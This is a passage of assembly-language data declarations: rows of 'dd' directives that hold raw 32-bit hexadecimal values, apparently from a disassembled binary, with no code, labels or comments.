		dd 644E7E78h, 0C0B5EF89h, 72F194h, 5DCAB5F8h, 0A98DFD45h
		dd 2C236D1Dh, 0D3001C2Ch, 0CEB819E6h, 95780E15h, 0C07DFC25h
		dd 0B64E32EBh, 0F206A46Eh, 0F6D3F4FBh, 0E10D0998h, 20006D8Ah
		dd 0A3ED0AE9h, 0D63B9CA8h, 0A7057F00h, 0D7AA168h, 240E00D7h
		dd 74AFA6EAh, 1500BC17h, 9A827DFh, 160E0E7h, 18FC76Fh
		dd 0DCE1980Fh, 8901C56Ch, 167FFC17h, 910028E8h,	0A05FC830h
		dd 9BD41480h, 61ED1F29h, 443A094Ch, 0B987FCD4h,	0C2D05D0Ah
		dd 4BF9489h, 6BDEEA8Dh,	18ECCCh, 0EF8CDC84h, 9D4DEBE6h
		dd 0EE9C04h, 86A92157h,	83FB0065h, 0B2BF374Eh, 901D09BAh
		dd 0B8BAD16Bh, 0C5EA803Dh, 0FCB50F46h, 88EA8Fh,	33127A43h
		dd 0CB5FEDC7h, 65C2F00h, 13272460h, 0FB72006Eh,	0F0EF15B2h
		dd 4D003A62h, 39A3D18Bh, 782C5A54h, 8FF2B4h, 7DD33B19h
		dd 0CF93D26Bh, 0E7393F00h, 2BB3B878h, 43EC0065h, 8CF5EE97h
		dd 0B100F2C5h, 1B77468Dh, 3827F006h, 8100FE57h,	0FBA9680Ch
		dd 2802C841h, 444DD430h, 5B0C403Fh, 0C10D5C05h,	0FC3D3Ah
		dd 0BDE52462h, 0C1C869DAh, 2B4AE01Eh, 0B7447F00h, 0AF9A7Ch
		dd 631C8A4Eh, 0E7F05028h, 0DB067100h, 0AEBFD6D1h, 0E8512E90h
		dd 0C71D1C04h, 0A0C8ED65h, 313D116h, 80EBCD00h,	0D277E924h
		dd 0ED182D8Ah, 0A2155678h, 21D03861h, 318300E3h, 7F104B71h
		dd 0D448D8EAh, 0BC023E78h, 9429E14Ah, 2E9E676Eh, 0F368402Eh
		dd 0EFF66457h, 84FF8704h, 68ECB451h, 0C3CC447Fh, 2D4FCE17h
		dd 0D6B9C01h, 6F88A2h, 669C7740h, 9717DC7Fh, 0C00BA29h
		dd 424402F6h, 0FFD1018Fh, 53FE524Dh, 6011C49Dh,	0BE232A01h
		dd 0C6E15916h, 5C3E4AC8h
		dd 0A04BBCEDh, 0D46021CCh, 0A875F411h, 0B01A0563h, 80D8591Dh
		dd 0E650D7F8h, 0C262D900h, 31AB6043h, 0F1772DD0h, 2DC0C4C0h
		dd 6D8F2700h, 7989357Ch, 1E760FBCh, 5120D630h, 0E7E6619h
		dd 0BE157B07h, 8B08822h, 21125DAh, 0F73D8161h, 4F05075h
		dd 51C67625h, 975F61A4h, 0C44FE888h, 6BAE311Fh,	0CDF6B480h
		dd 3C6FA0h, 3D458E16h, 0F8CA1DABh, 0EC028724h, 4E5600B9h
		dd 0D6392ECBh, 0F0D84912h, 82CEF100h, 8B5144CFh, 80D3203Fh
		dd 5D70385h, 703E6052h,	0E9B60048h, 0A982F09Dh,	0A0B254BDh
		dd 74D1F901h, 0BE17413Dh, 446CEC41h, 703E25F8h,	0BCBA0915h
		dd 0A409D296h, 116EB400h, 0B508F9Bh, 0B704E8B4h, 0D95F2F99h
		dd 6A009CB9h, 0BE9C59BFh, 920F8CE9h, 57F8AEE3h,	2180AB04h
		dd 934658C0h, 3AFE1327h, 0B8D4D497h, 484DF0h, 9DDAACF5h
		dd 8DC192h, 84FE60EEh, 0F97FBE4Fh, 2BF0DE03h, 0C820E215h
		dd 73628C85h, 2C80B7B6h, 0DD3642E9h, 900B6090h,	412D6550h
		dd 0CBF0D4D8h, 403D48E7h, 2960B04Bh, 2F4ECE72h,	7866FC80h
		dd 63E813FEh, 628805Dh,	3097AE5h, 0E4FD769Eh, 8461D3E4h
		dd 0E4A81FE4h, 21013A20h, 0DDD064BEh, 701F7B56h, 7071FE89h
		dd 0F80C3984h, 448EEC80h, 9427108Ah, 96D66B00h,	0D207E11Ch
		dd 7DE00078h, 0CA77AD04h, 9A001150h, 2E845301h,	9DD94195h
		dd 3118EC49h, 38C4EA28h, 24298E0Ch, 9847199Eh, 0BA5E03A0h
		dd 15ACA11Fh, 82BE1913h, 0A504061Fh, 1FAE6A03h,	4CD610h
		dd 432C7A12h, 0A90B37F9h, 81AD4D02h, 5371B3B4h,	0E76D020h
		dd 31C7FE82h, 49B23AA3h, 0DC40EFFCh, 0E729365h,	8859482Ch
		dd 16338B03h, 114A87ABh, 0ACFE480h, 740D006Ah, 28BAF219h
		dd 0DA0B57FDh, 80E208AFh, 819D7D14h, 0BE1A02C0h, 80C9F855h
		dd 0D5A91CC0h, 6205280Eh, 6AC50257h, 4407CECh, 5691419h
		dd 8D912C28h, 4DC44C66h, 0F2E00DEh, 8B153C4Fh, 3001823Fh
		dd 0C0EA68F4h, 40DECF11h, 357827h, 98C5DA4Ah, 0E22FA186h
		dd 0B9A59000h, 7FB2AFD6h, 5A4EEA6Fh, 37B8B0CFh,	0B8A880D6h
		dd 99916200h, 56CCD767h, 86C5D01h, 0EB24E601h, 0C3EC5821h
		dd 18260388h, 0D5856820h, 641993C8h, 804A9EF4h,	1D1D4F0h
		dd 8948D7FCh, 0C9EA7384h, 0A148748Eh, 80D440B7h, 8AF50B64h
		dd 0B881E3A0h, 2B01730Fh, 74AD102Ch, 9A5005Eh, 49F8DBF9h
		dd 0A905A4EDh, 215F4E60h, 5AE400BBh, 0E15E463Ch, 72DD6E09h
		dd 0B8FE78h, 7C6AAF27h,	0B100BCC2h, 26DE202Fh, 0C41F017h
		dd 0AAB0BAE5h, 0F4001F28h, 159A676Dh, 9D0C58A8h, 0A4CE7480h
		dd 0D2027291h, 0D5B1DBA9h, 0AD4B40B7h, 0A04B4E7Eh, 0C500FE64h
		dd 5FC3B3DAh, 93BC35h, 0ACBB3458h, 964926D5h, 0EF003198h
		dd 9812D7B7h, 99659Fh, 1D22FF6Fh, 907AB9B0h, 0F93EBC1Dh
		dd 9AC34D80h, 7DB117E1h, 105201C0h, 86D765F4h, 0A654308Eh
		dd 76A36A0Eh, 705AD6E5h, 0B7706019h, 0B245077Ah, 0F01D603Dh
		dd 0B930E007h, 0B62C4A00h, 176BE96Ah, 51B1748h,	69BA0306h
		dd 7D83322h, 30FA7B3h, 20CF54E6h, 61210D65h, 1FC80553h
		dd 0E04CE3A5h, 0F31DA64Ch, 648F124Eh, 0B5E7E0DDh, 0CD065Fh
		dd 70F9F0C7h, 9F027BCAh, 84613404h, 0AC87F853h,	79710CE0h
		dd 7F492E01h, 0C17D008Ch, 721D40C8h, 21B1BA07h,	8FB2D022h
		dd 28586085h, 0D48B2F44h, 31C6FC69h, 0FC037A54h, 1BAC5D3h
		dd 4246F10h, 0C194ECh, 78EB4FDh, 6DB9E009h, 80862535h
		dd 0AB0DD29Ch, 0E8A3C000h, 8CF7134Fh, 6C2F4CA6h, 7486027Dh
		dd 0B246D472h, 0DE10E057h, 75EF0BA5h, 0A0F0E5C8h, 0F239737Dh
		dd 0C72F0063h, 78FF567Eh, 0EF4AFECBh, 8B314880h, 8F6B79B3h
		dd 3C420E00h, 10541153h, 3693009Ch, 19C6A4F9h, 2E00DB95h
		dd 410440FBh, 0FC8492h,	9CD56B72h, 4A8BEDB6h, 54A75726h
		dd 16054D03h, 0E530B81Ah, 0B3EC0220h, 0DA075398h, 9293FC80h
		dd 0C40E3945h, 40A7DE59h, 0E71BD873h, 0E74094Eh, 18FC29E4h
		dd 8051230Fh, 0B80C4097h, 9513093Fh, 0EC762E88h, 7A00EC4Ah
		dd 97FEF78Fh, 0D7B107C0h, 0F117F2EAh, 0D8325D68h, 2C98CA9Dh
		dd 0FB4B8500h, 953D9370h, 0ED9001Fh, 0CA1679EDh, 80043C97h
		dd 0D8060194h, 0B49390B8h, 2E0075D0h, 58AB851h,	2B33ECh
		dd 35308E87h, 0B4D87812h, 0EE9A3F00h, 0B0ECAD1Ah, 44B64ADFh
		dd 0A8B2197Ch, 88723090h, 2654EB13h, 7644171h, 0A0216096h
		dd 4532A788h, 0FFBA48h,	2FB494B6h, 343D2Ch, 141C50ADh
		dd 7B3FF04Dh, 1B5DA200h, 35FA5710h, 0A6AB3936h,	0DC6D2501h
		dd 0E941DDE7h, 0D1D0403Ah, 4C00D098h, 16703832h, 0D42D7Bh
		dd 3EA98D35h, 0B3B9D744h, 0DDD22F04h, 41ABA3E0h, 0AED948E0h
		dd 75F3E470h, 45FF3F00h, 0DA44630Ah, 974D09A4h,	9C59E029h
		dd 9CCF2BC1h, 21849ECh,	57DFE374h, 3840111Bh, 0F00078C2h
		dd 0EEE502ADh, 28868E7h, 3D34B56Fh, 34430115h, 2498C0E4h
		dd 0A0006DA7h, 517605C6h, 0F4ACA8F4h, 195502A6h, 0DAD13646h
		dd 0A92DA040h, 319CCE09h, 687E4Bh, 63380D3h, 0FD009AA6h
		dd 81391007h, 24F38217h, 34CFB2h, 94033428h, 0F600A2B9h
		dd 72D9154Dh, 986753h, 0F358DF7Dh, 70176A0Dh, 1948C0B7h
		dd 2A1E036h, 0BA216112h, 6C403091h, 9C2D73DDh, 8B1880D7h
		dd 2F07B108h, 906903C9h, 4A7C2069h, 87121516h, 0DC00C8ACh
		dd 65B73F25h, 2E303974h, 1281993h, 218E203h, 3722BF89h
		dd 0A1857ED6h, 0A9F08171h, 0D1391312h, 0B2E14B9h, 80D150D4h
		dd 0B9002797h, 9BF1450Bh, 3F40063h, 9A5C0F60h, 211FE412h
		dd 51C0B3AEh, 36E5C415h, 2F7907BDh, 900FFD71h, 19CE490Dh
		dd 90EAAF28h, 0D8084A2Dh, 28D35C14h, 29ED6603h,	11026945h
		dd 289BAB8Ch, 18E2203Bh, 4800EED4h, 38137E4Ch, 42A084Fh
		dd 1BB01AABh, 44AC8Eh, 16CC57F8h, 0B64914BFh, 60E52578h
		dd 114A6C8Ch, 468225B5h, 0DC4FF050h, 30DBA8E0h,	86216144h
		dd 54F495B0h, 1E60C758h, 0B24AE321h, 19009CFDh,	0CC7020E2h
		dd 117A014Bh, 2AC9BA32h, 0D3F440DFh, 3809C3ADh,	809A0A75h
		dd 0EFA980C3h, 0CA01FBFh, 0A26280ACh, 9F73568Ch, 0EC299B4Fh
		dd 2FFA0BF8h, 24405B97h, 7506B902h, 0E9681E29h,	38FCEF90h
		dd 0A7FC92h, 0DB5C10BDh, 7EF87C02h, 247BEC00h, 0D8225F2h
		dd 0BBA3038h, 503D6398h, 88E09A1Dh, 282888ACh, 3300E0BDh
		dd 0BDE3063Ch, 31DCEED3h, 7A82BB02h, 40EB6AF3h,	0DB80BDh
		dd 5BCA2999h, 41FAE3F9h, 0EA087A1Eh, 0ED933070h, 400E0047h
		dd 2921884h, 0BD0E81B6h, 2D57EE6h, 0DE383C3Ah, 0A4C114C4h
		dd 4C97201h, 607F6696h,	0E27B4ABCh, 50C35232h, 0CC80F7FBh
		dd 0ECAFE9DBh, 9A00C4BEh, 40FBBA0h, 0EA27025Dh,	0F9E9C0D5h
		dd 0A50483DFh, 54E8F4FAh, 0E209AE00h, 18E5EAEBh, 592DA379h
		dd 0D394A011h, 0B3D070Eh, 2F1B8C66h, 937C2581h,	61223098h
		dd 0D5E54Ch, 0ACC67F17h, 24777A29h, 0F3FE71Dh, 0C9A13662h
		dd 3C12F044h, 0E5952F9Ch, 36398AA8h, 2CAAFCh, 66879EB0h
		dd 113EDE9Dh, 3A64EA00h, 0C609605Dh, 0AD921C0Fh, 0E815CBE4h
		dd 0C7BFB080h, 0F513316Bh, 54099E9Ch, 13DC70C6h, 8089AB56h
		dd 8D407AB8h, 4BF9D300h, 0E21FC55Ch, 0A2390079h, 0FEE5CC9Dh
		dd 59E6AF65h, 80959B3Ch, 0A0303CF9h, 0ADCD56h, 731DC35h
		dd 0DF3485F6h, 70F8391Eh, 0F16AB341h, 3BE0133Ch, 80E89635h
		dd 966F7ADEh, 840062CFh
		dd 943854BEh, 78778E85h, 91B9024Dh, 0D8D8980h, 354A7CC0h
		dd 59EEE00h, 0E53B027Eh, 0A7011CBAh, 0A1760BC9h, 0F312D4F4h
		dd 0C7AB18B0h, 701BB958h, 594F51F7h, 248F041Dh,	816CDAC1h
		dd 94708265h, 0F69570BBh, 19E988Eh, 8549AAC3h, 2F7ADA87h
		dd 7E060403h, 4501F0F6h, 0C6742FF8h, 64DCD4C9h,	3C1EFF10h
		dd 8A800E61h, 0F3A183DAh, 38C475BEh, 0C0130BCh,	0EC601E26h
		dd 3EFFF45Fh, 0A6691F00h, 99867CD1h, 78784C08h,	1C05C802h
		dd 0B0EB0D29h, 4B02958h, 0D9496EB0h, 3E381FAFh,	614EF044h
		dd 0E0822C93h, 0F2656Fh, 62CA15B7h, 372A55EFh, 0EEAED3EBh
		dd 0E02EE12Dh, 784C748h, 50EDF1BBh, 9DCD2218h, 5CE0A5E0h
		dd 0D7261E01h, 99FBB5AEh, 2D919FECh, 840F7CC2h,	0D78CC3DDh
		dd 3589B779h, 0D20D70D8h, 1E999800h, 6ABB4761h,	0AB621711h
		dd 8944A06Ch, 894F62Ch,	9FAD264h, 6800A11Ch, 33127EF9h
		dd 6C7AA6E0h, 0C4E23B4Bh, 17E4C301h, 3D2C03Eh, 0DAB3F869h
		dd 0CC11CB23h, 2D9ABCE0h, 0F7600F00h, 0EB854784h, 9B98001Ch
		dd 0E61ADD7Bh, 0BF0F374Dh, 0D4014Eh, 8A7F8A3h, 832407F0h
		dd 0A0255AA9h, 27AE26Ah, 0F5AD1C1Eh, 0C45D2382h, 32E5C04Dh
		dd 0B5B8001Dh, 26D162C0h, 9050A7FAh, 8900FC84h,	5D66569Dh
		dd 0F66B7357h, 809D4Ah,	0C6DF8B7Eh, 0FDC88F00h,	48EAD084h
		dd 4FCE00BEh, 0FF6FEC1Bh, 3020941h, 5A3A46CBh, 13CC6018h
		dd 99170068h, 4364581h,	0D300B5E9h, 0CF842307h,	3032DF49h
		dd 63AC8315h, 47007F37h, 5C04094Dh, 110DA6h, 84158CAEh
		dd 9B906BD4h, 0B5E7DB00h, 541836ACh, 98439FC9h,	7400FE9Dh
		dd 65571522h, 0F0D54A4Ch, 0A47D96C8h, 0B80340C0h, 181DA76h
		dd 548C690Eh, 0D4062E89h, 0F71F43CBh, 0DF53174Fh, 23098h
		dd 64FD3003h, 7819650Bh, 0CF560E12h, 8A0474BCh,	0BADD9036h
		dd 0E238E030h, 0FFEB88E3h, 13004B71h, 0EC5588A8h, 16BBD989h
		dd 0BC6BC432h, 7EC09D40h, 0C80EFFF8h, 0F8D55C0Dh, 0D2B8A600h
		dd 0BBB02902h, 0F4AEB600h, 9E4F07DBh, 0E36204ADh, 0E832996Ah
		dd 3A8C03BCh, 0A82B5E48h, 370D6819h, 0D1F81625h, 0DC808507h
		dd 410044E8h, 0AE185233h, 9D62BE66h, 3539ACC0h,	101A9000h
		dd 97DC9DB1h, 6E16004Ah, 0A0CF82E7h, 0E0A38649h, 0E43B7DF9h
		dd 75180A3Dh, 0E8385550h, 5446174Eh, 0E39C4E25h, 0DA66AD20h
		dd 0ED30C520h, 0FF548852h, 1F5E2746h, 7881D4C5h, 3F95221h
		dd 0D605865h, 204D59A4h, 0DB69B600h, 79A85DAEh,	0A2011FF4h
		dd 2160EBD0h, 0C07AEE2Ah, 1D76A664h, 92F83013h,	7E4FC300h
		dd 30C23E15h, 12113C88h, 8D03FF3Bh, 78558E48h, 80C88317h
		dd 17935BD6h, 40206630h, 0B39AA1A4h, 0D70EE8A6h, 8ED8981Ah
		dd 690181E1h, 2E2371h, 0F439A2FCh, 0C00E0B35h, 9C13370Fh
		dd 20E3CB8Dh, 10811BE1h, 0F32F3EA2h, 76208029h,	9FA12372h
		dd 3C9878B3h, 557C3FD7h, 0E0C0A0F7h, 0BC6900D2h, 0D8DCBA11h
		dd 201F031Ah, 24402D0Eh, 18270F68h, 0DF095816h,	0D1D2FC00h
		dd 6130965Bh, 0A9A360A0h, 3014B35Dh, 0BD0F7835h, 2801E8F4h
		dd 14633Fh, 2BE8BC3Bh, 0D05FFF2Dh, 0C9C40403h, 0D1A3BD3Dh
		dd 0B1C82EF3h, 0E288EC64h, 8690036h, 3AC37ABCh,	520E7375h
		dd 276A23CEh, 48008606h, 0AF5F3Dh, 2B3EFCE8h, 540A1EC8h
		dd 1BFFC000h, 78101F8Fh, 69D0099h, 6101A153h, 850C2C82h
		dd 4CC96D14h, 99CF00D4h, 1731A739h, 1B54963Dh, 0D7007DB8h
		dd 0D175D0E3h, 15171FEh, 0F944BA42h, 80B7938Eh,	0F5A0D3F1h
		dd 0C88E485h, 2797B0A4h, 2600DE41h, 0DCD436BCh,	0C09CAD32h
		dd 38B2F19h, 0B730653Fh, 72DD1012h, 0EE51C0B2h,	790E639Ah
		dd 4C0F787Ch, 6039A0C9h, 15F98C84h, 6041013Fh, 3BED2947h
		dd 0AD2C00C7h, 9C5B0136h, 0C863DC0Ah, 10C2E016h, 88FC1100h
		dd 0CF03C41h, 22E21EA3h, 0EFCA0008h, 90308B69h,	68941D00h
		dd 7B0E5C85h, 77743FD3h, 0A38C0078h, 59C5383Ch,	0ED012882h
		dd 0D9666886h, 22FD76C8h, 0DD9EE02Ah, 89F83B30h, 0F41C1AB7h
		dd 685307D8h, 0C08DAF58h, 0E91FDCFEh, 892A817Ah, 1E008421h
		dd 2FBD40A7h, 6230FB2Dh, 0FA2B1920h, 61E02340h,	81F3230h
		dd 3FEDE65h, 0F4ADDB01h, 0FA02446h, 0B207127Dh,	0AFD74CE8h
		dd 0E0D17AC3h, 1FD578C0h, 1E73F3B0h, 0BA391DB3h, 0A0100430h
		dd 12002BF1h, 2A06E8EFh, 1EDAF6h, 4203ABC2h, 1BCB225h
		dd 0FEACD501h, 0F4B0D375h, 0F0A2E0E3h, 0A1D13C71h, 0DDD07472h
		dd 0BEA00730h, 40AAC74Ch, 0FB7C601h, 0FFDD7F01h, 0FE2778F7h
		dd 41E6449h, 925BE0BBh,	0A910CFD0h, 105A5C83h, 9FF2100h
		dd 0D96CC2Ch, 9E361905h, 80020825h, 2C11D021h, 58990Ah
		dd 6A03B6AEh, 0E78B3160h, 666761CFh, 0E183CAAh,	8AC93BDh
		dd 61FA1540h, 0E16037C4h, 754BC029h, 556701F9h,	0A56F1316h
		dd 80D3D109h, 75532221h, 60FAF2B5h, 0F974B93Fh,	0B0C092A7h
		dd 0EC43D642h, 60967867h, 0D36B7006h, 311B65C4h, 23495F92h
		dd 4F03F878h, 9C67FD75h, 2623C962h, 0A69CE857h,	73D33BCDh
		dd 0B0954A83h, 0CA8E406h, 0A4A86761h, 9CA4B318h, 0AE1BBE7Ch
		dd 0C088E2DAh, 0CF5E640Ch, 93E2F629h, 84913452h, 44918C2h
		dd 0A567C775h, 202C09h,	0C13C7551h, 3488D5E9h, 590CF20Fh
		dd 178FE0E5h, 328EBD6h,	0D5C16DBEh, 3900D936h, 99E02B9Ah
		dd 741B0E1h, 35A60C5Dh,	398AB3EEh, 0D0424028h, 0F1028C21h
		dd 1E618CAh, 4C48B5DEh,	4C6A8671h, 7788C2C0h, 0F0B60220h
		dd 1E28EFAAh, 331698A0h, 88C503DEh, 0F0403EFAh,	6B6D7955h
		dd 1731DDAh, 1A93C191h,	26BF7684h, 522EF020h, 0FFEE149Ah
		dd 0C0A94CCh, 42E01D67h, 962116BDh, 53DF6A2Ch, 0BB383890h
		dd 903AB894h, 2886296Fh, 0B6F24162h, 8D99E60h, 85876A0h
		dd 772335Ch, 38B69806h,	0C0A90121h, 535DA17Bh, 0EC00E246h
		dd 0C1E60FEEh, 19F41F98h, 966DD0DCh, 24901E71h,	309BB538h
		dd 75EF8065h, 0C0B77B3Fh, 0A0E8FA89h, 67520483h, 7F923E0h
		dd 0F4FC7548h, 21D5626Dh, 0CC755025h, 48502070h, 0E13680h
		dd 181E7204h, 103F922Bh, 0F301F9E4h, 0CF327BB8h, 80506C78h
		dd 350CA01h, 0F3E99A08h, 930E2E4h, 0C5A12110h, 27700350h
		dd 0ECDD473Bh, 0A7611901h, 2B226497h, 0C15860B2h, 1150CC30h
		dd 88F99A0Ah, 0C7A38315h, 87B97A50h, 0A082F283h, 0F846AD9Dh
		dd 4E1EC746h, 7D67C875h, 2340D7C4h, 12C27556h, 259C6709h
		dd 7FAC02FDh, 0E12202B8h, 33F31461h, 30D4A224h,	0E614EF27h
		dd 50E8011Eh, 0E8A8D028h, 5A10BE06h, 5100E014h,	637F369Fh
		dd 3448B72Ch, 80524A4h,	15F9120Fh, 0A10C619Ch, 40FEBB4Bh
		dd 0CCD4B3B4h, 0F4210C08h, 0D3A1C100h, 27319F66h, 8705157Bh
		dd 9C0F9C1Ch, 0EFEE83B2h, 0FBEC5825h, 0FEB33500h, 3B92EBE8h
		dd 500670E6h, 99125A41h, 0FA57B800h, 4A16345Fh,	10BE0BCAh
		dd 810BB18h, 0A8915D0Ch, 8928FA0Ch, 0AEBA0045h,	0D6D9C712h
		dd 13F8DF91h, 0FA0464A4h, 0ACBB4EA1h, 0C23EF738h, 4AD101A1h
		dd 0E5DB2D16h, 523141C0h, 8718C088h, 28FE7960h,	4F86D402h
		dd 600F1796h, 90E8D06Ch, 2CE462Ch, 9A1750CBh, 100E31F1h
		dd 3A50C2A2h, 9F009A42h, 1D9EA32Dh, 0C490078Fh,	0A02BC113h
		dd 0B7180402h, 0BF80A036h, 59229E59h, 9F118416h, 673400E3h
		dd 5310CFD3h, 98BF63D2h, 5180EE31h, 4BF20CC4h, 2248CA4Ch
		dd 0CC422C61h, 16650F04h
		dd 0AC12D49Ch, 6D803188h, 527BDF39h, 0C97D00E1h, 77A96071h
		dd 40248BBBh, 59122C32h, 2EB440Bh, 108128Ch, 80D836C2h
		dd 0E997FC69h, 35AE52B9h, 8771F951h, 17C09804h,	4696CA2Ch
		dd 39221Dh, 7A2C1FDEh, 2D5058D4h, 9EB3B10Fh, 0EE7C82B6h
		dd 3B289728h, 0CCB70046h, 0BFA74131h, 1CD1486Dh, 0FC011523h
		dd 0DCBB48A1h, 0E9890B18h, 0BA3B60EEh, 16AB7BC1h, 25660C35h
		dd 0A7EC04D8h, 12BF00E1h, 60EF86E4h, 0FC710B1h,	7498F66Ch
		dd 40BC80A3h, 291153ECh, 3CD8FAEFh, 6F005202h, 27082137h
		dd 62220C73h, 314F1761h, 0E184209Eh, 0F340A6AEh, 218812D3h
		dd 10E80809h, 49A1C7C0h, 22D446BBh, 0CFF20038h,	17B0FDA1h
		dd 4237B6C7h, 0B0CA500Bh, 0A805311h, 1596CF2Ch,	0D106448Ch
		dd 992C1207h, 74109084h, 0C01A87DDh, 2EEB93B9h,	4C07BD63h
		dd 0BAC498F9h, 7891CDA4h, 29859FDDh, 8EF8AB61h,	0C0D68834h
		dd 6293CF5Bh, 0EECBA12h, 2A715444h, 3AF240A2h, 706F30h
		dd 41C13585h, 106A3BE6h, 0C62C6775h, 56809C04h,	923AE9CCh
		dd 70646F28h, 1B8F1A21h, 5BF841BEh, 0F3B0986Fh,	0EADD0F59h
		dd 63E9C255h, 8CEA989Ah, 56BD8840h, 29923702h, 4142B4C8h
		dd 1810DBA8h, 2600C5D7h, 63508F0Ah, 261B2D56h, 0B87C7E3Dh
		dd 0A1C602C6h, 31CCBB4Ah, 0CEF31007h, 4BDE05A1h, 40195C0Ch
		dd 0B6AA41BCh, 0ED01C26Fh, 0BE9A0F01h, 0C894C7E7h, 1A289088h
		dd 25646A4h, 96CE2C0Bh,	113B31FDh, 0DF0013D2h, 210F5384h
		dd 0A2B08182h, 831B788Fh, 0B7A1563Ch, 4FBB2550h, 0C0B80CAAh
		dd 0C6216487h, 86E3E50Fh, 74967CDh, 50347371h, 9A2E863h
		dd 779D30h, 0ED83C16Ch,	0B1C9A1Ah, 0E65BC0A0h, 6B2B2300h
		dd 819FD260h, 9BBD0C78h, 0F200908h, 1645E807h, 819B4233h
		dd 0B0BBEA28h, 0B6BE4F4h, 2BE6DDC6h, 3C93E890h,	6C391C60h
		dd 52C4F326h, 8100C0FAh, 0EFAE474Ah, 171C693h, 967F6500h
		dd 0F480B977h, 80C76FFh, 0B3C7EE9Eh, 5046BC20h,	0C02C0D02h
		dd 331ED96h, 2C15D410h,	5903B0ECh, 2F623CC9h, 41910E12h
		dd 0BE85B7E2h, 87FC9BDFh, 0DC51C347h, 67FCA9A8h, 25E2C8Eh
		dd 5CDB444Ch, 0D87B102h, 4C3CC66Fh, 530A8B3h, 94311111h
		dd 0E4189950h, 0CF9FE618h, 254C96F0h, 208B3BCAh, 0E486802h
		dd 0D0811005h, 7811D490h, 25E71018h, 0ECC40092h, 73BE81D0h
		dd 3A00888Dh, 0ACBDEC1h, 627ABD52h, 0C4145017h,	0BF81CC51h
		dd 0BED58534h, 21867C20h, 1749CFBBh, 87031120h,	0FA02C0ADh
		dd 7FA0A03Ch, 1A71CD4h,	95DC4D0Ch, 6128B87Ah, 0F026D4h
		dd 59B56318h, 0C9C7CFF1h, 0C472990h, 0C660D644h, 5098DD6Ch
		dd 74624024h, 34BA1B50h, 0C718167Ch, 68837284h,	0E165F450h
		dd 80CCF350h, 61F50F7Bh, 144E83FEh, 9BE73A02h, 62371069h
		dd 0AAE90048h, 35D00CBFh, 53600AE8h, 409CB518h,	0D5840FC6h
		dd 1A5C961Eh, 3D8484E5h, 0DECF2740h, 0D50FF33Eh, 20D2B886h
		dd 1F35EB6Fh, 31610DEFh, 2914B91h, 4A31C388h, 5D67F089h
		dd 2F8024C5h, 0E0787552h, 0BF1D3890h, 9BBEA687h, 4CC77914h
		dd 1267D464h, 9CE4E4DDh, 145B3Ah, 0D1FD46C3h, 39FE54h
		dd 0E8EB962Dh, 9B7782C4h, 3A1842FCh, 61286545h,	0C1CC0C51h
		dd 0B1041B2h, 0AE2292E8h, 0E018F662h, 0DE8031Fh, 5E042E7h
		dd 21760831h, 30C01020h, 4BFE0301h, 0C5A831BFh,	0A0415800h
		dd 24222849h, 5E9832h, 0DCE4CFE7h, 0CA66BCC6h, 49628700h
		dd 8917C32Bh, 4091DC42h, 0C838859Ah, 6537628Fh,	544628C0h
		dd 192E021h, 36133485h,	0BB488816h, 2BBA419h, 0B54E5C00h
		dd 324A1002h, 16604542h, 10859B30h, 0E087C839h,	1E859301h
		dd 424E557Fh, 413EAD1Fh, 8E918C8Fh, 0E81E0219h,	117A3105h
		dd 0EFC01121h, 0C798005Fh, 19AB2B4Ah, 1428ECCFh, 0BE5880D2h
		dd 7E7A484Dh, 0C3984550h, 82033AF6h, 653DCF98h,	34258BC7h
		dd 80215208h, 45BA825Dh, 77E718C0h, 0C1EED4E4h,	0DF766850h
		dd 0D69E3062h, 0CFC86E15h, 31C24CC4h, 13319967h, 0C3B77E0h
		dd 6AAF9319h, 8C01FE19h, 691115C5h, 73D4D5C0h, 99D603D8h
		dd 3446A9EAh, 0E351CC9Fh, 1CA21B03h, 89452A4Ah,	8980242h
		dd 138621DEh, 0D5A23Fh,	7A0A237Ch, 1D8D98FCh, 89E826A1h
		dd 4402636Eh, 0A890CECCh, 0EC3997E1h, 36FC1E27h, 467820F6h
		dd 0A21D0732h, 0C4284A1Ah, 158040D5h, 0B7D4BAA2h, 40C838D0h
		dd 0A21CC033h, 12464A1Bh, 8100D622h, 4389A214h,	2A3DE0BEh
		dd 75BC6EE7h, 0FAC61A56h, 881D1047h, 3F8ED611h,	47EE49E2h
		dd 5EC83448h, 0D8664F28h, 74D0AF52h, 1C437E02h,	0C19356EEh
		dd 14D021F7h, 99701C6Eh, 0F24E011Eh, 0ECCA0726h, 9E6AEA20h
		dd 0C703687Ch, 7B4D8862h, 52A80061h, 0B1BEEEADh, 27037B79h
		dd 484E15CAh, 26D90C53h, 4C314988h, 90045B00h, 0EC726E08h
		dd 0D75618CAh, 0EA27A070h, 6A187090h, 0AF315288h, 0F53E0797h
		dd 0A38EB834h, 67B80A1Dh, 8B04AB28h, 9D554C48h,	20CD08C2h
		dd 335EE7Ah, 69004898h,	14D95D0Bh, 9A9B2555h, 0EA260010h
		dd 10F34AB8h, 41633958h, 164044F0h, 14E44FB1h, 0CC07789Dh
		dd 6F8D3846h, 17A40812h, 9D823FC0h, 221546CFh, 37E05Fh
		dd 855E3282h, 48C8862Bh, 572EC412h, 963C3C04h, 0C738F887h
		dd 0E81B011Ch, 897B182Dh, 0DE496024h, 0A29940Fh, 2AB48451h
		dd 7962DC88h, 8A780028h, 6B7416C5h, 2A001A51h, 0E6523923h
		dd 12583E87h, 37E14963h, 7C073210h, 0EB99F80Ah,	3E1816E8h
		dd 0CF9C8208h, 4050C41Dh, 3C823601h, 707C06B8h,	506B475Eh
		dd 90E0ED64h, 1D811A63h, 7931CAE8h, 0C0122211h,	0AB0E8CA1h
		dd 600193C0h, 0B2A6BA05h, 0E02007FAh, 0CDD749Ah, 1888DFB8h
		dd 0ECC679Eh, 0FB40B09Fh, 3D007B7Dh, 0C9346141h, 0CCA175h
		dd 0BF287876h, 1787B9C4h, 0D0C76E32h, 0D31C48EBh, 116F1231h
		dd 6DAC0048h, 3FE4CB93h, 0A4BB2F26h, 0D11290A1h, 30698814h
		dd 81E56979h, 5B4200B7h, 360AB646h, 0E8000373h,	6D9DBC14h
		dd 3F139Ah, 4808A875h, 0F0815297h, 7303CDFAh, 0CBACCC02h
		dd 0F7B7A129h, 3B020D4h, 0B997A5AAh, 54C3CA32h,	80809382h
		dd 9F128AB2h, 0ADB68F00h, 95F08952h, 16340F2Eh,	0C17FB3B1h
		dd 380A3CDh, 2E02056h, 915A1C00h, 0C23F49B7h, 9E421F05h
		dd 74012C4h, 801B2A44h,	9D183CBEh, 40434E26h, 18BFC389h
		dd 73BBC4h, 24B450B6h, 9BCDE920h, 0A20A1600h, 0D5817ABCh
